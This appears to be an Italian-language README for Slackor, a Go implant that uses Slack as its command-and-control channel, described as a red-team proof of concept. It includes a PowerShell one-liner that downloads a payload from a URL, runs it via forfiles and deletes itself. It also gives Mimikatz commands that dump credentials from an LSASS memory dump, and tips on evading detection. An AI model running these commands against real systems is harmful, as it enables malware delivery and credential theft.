
Un implant in Golang che utilizza Slack come server di comando e controllo.
Mantenuto su https://github.com/n00py/Slackor
Un implant in Golang che utilizza Slack come canale di comando e controllo.
Questo progetto è stato ispirato da Gcat e Twittor.
Questo strumento è rilasciato come proof of concept. Assicurati di leggere e comprendere la Slack App Developer Policy prima di creare app Slack.
Nota: Il server è scritto in Python 3
Per farlo funzionare hai bisogno di:
Un Workspace Slack
Registra un'app con i seguenti permessi:
Crea un bot
Questo repository contiene cinque file:
install.sh Installa le dipendenzesetup.py Lo script per creare i canali Slack, il database e l'implantagent.py Script per generare nuovi implantserver.py Il server Slackor, progettato per essere eseguito su Linuxagent.go L'implant in Golangrequirements.txt Dipendenze Python (installate automaticamente)Per iniziare:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
Dopo aver eseguito con successo lo script, verranno creati diversi file nella directory dist/:
agent.windows.exe: binario Windows 64-bitagent.upx.exe: binario Windows 64-bit, UPX packedagent.darwin: binario macOS 64-bitagent.32.linux: binario Linux 32-bitagent.64.linux: binario Linux 64-bitDopo aver avviato server.py su un host Linux, esegui l'agente appropriato tra quelli sopra per il tuo host target.
Esegui il modulo "stager" per generare un one-liner e altri dropper.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
Questo eseguirà InvokeWebRequest (PS v.3+) per scaricare il payload, lo eseguirà utilizzando un LOLBin, e poi si cancellerà dopo essere stato terminato. Questo è un esempio funzionante, ma il comando può essere modificato per utilizzare un altro metodo di download o esecuzione.
Digita "help" o premi [TAB] per vedere la lista dei comandi disponibili. Digita "help [COMANDO]" per vedere la descrizione di quel comando.
(Slackor)
Una volta che un agente si connette, puoi interagire con esso. Usa "interact [AGENTE]" per entrare in un prompt dell'agente. Digita "help" o premi [TAB] per vedere la lista dei comandi disponibili.
(Slackor:AGENTE)
L'output dei comandi e i file scaricati sono crittografati con AES, in aggiunta alla crittografia di trasporto TLS di Slack.
I moduli ti avvertiranno prima di eseguire operazioni che scrivono su disco.
Quando esegui comandi shell, tieni presente che verranno eseguiti cmd.exe/bash. Questo potrebbe essere monitorato sull'host.
Ecco alcuni comandi OPSEC sicuri che NON eseguiranno cmd.exe/bash:
È sicuro da usare per red team/pentesting?
Sì, a patto di alcune condizioni. Sebbene i dati siano crittografati in transito, l'agente contiene la chiave per la decrittazione. Chiunque ottenga una copia dell'agente potrebbe fare reverse engineering ed estrarre le chiavi API e la chiave segreta AES. Chiunque comprometta o ottenga accesso al workspace sarebbe in grado di recuperare tutti i dati al suo interno. Per questo motivo, non è consigliabile riutilizzare la stessa infrastruttura contro più organizzazioni.
E Mimikatz?
L'implant non ha funzionalità di dump delle password in memoria. Se hai bisogno di logonPasswords, puoi provare quanto segue:
(Slackor: AGENTE)minidump
Questo estrarrà automaticamente le password con Pypykatz. In alternativa, puoi usare Mimikatz su Windows.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
È cross-platform?
Ha un supporto cross-platform limitato. Non è stato completamente testato su tutti i sistemi su cui può essere eseguito. Il server è progettato per funzionare su Kali Linux. L'agente è compilato per Windows, Mac e Linux, ma è stato testato principalmente su Windows 10. Gli agenti potrebbero gestire male i comandi non supportati dalla loro piattaforma (non provare a fare minidump su un Mac).
Quanto è scalabile?
La scalabilità è limitata dall'API di Slack. Se hai più agenti, considera di aumentare l'intervallo di beacon per quelli non in uso.
È vulnerabile all'analisi standard dei beacon?
Attualmente ogni beacon ha un jitter del 20% integrato e i tempi di beacon possono essere personalizzati. I pacchetti di richiesta e risposta del check-in dell'agente avranno all'incirca la stessa dimensione ogni volta, purché non vengano ricevuti nuovi comandi.
Perché hai fatto [x] quando un modo migliore è [y]?
Ho fatto del mio meglio. Le PR sono incoraggiate :)
Viene rilevato dall'AV!
Essendo ora open source, è destinato ad avere problemi. Sistemerò i moduli come posso, ma non c'è garanzia che bypassi sempre tutti gli AV.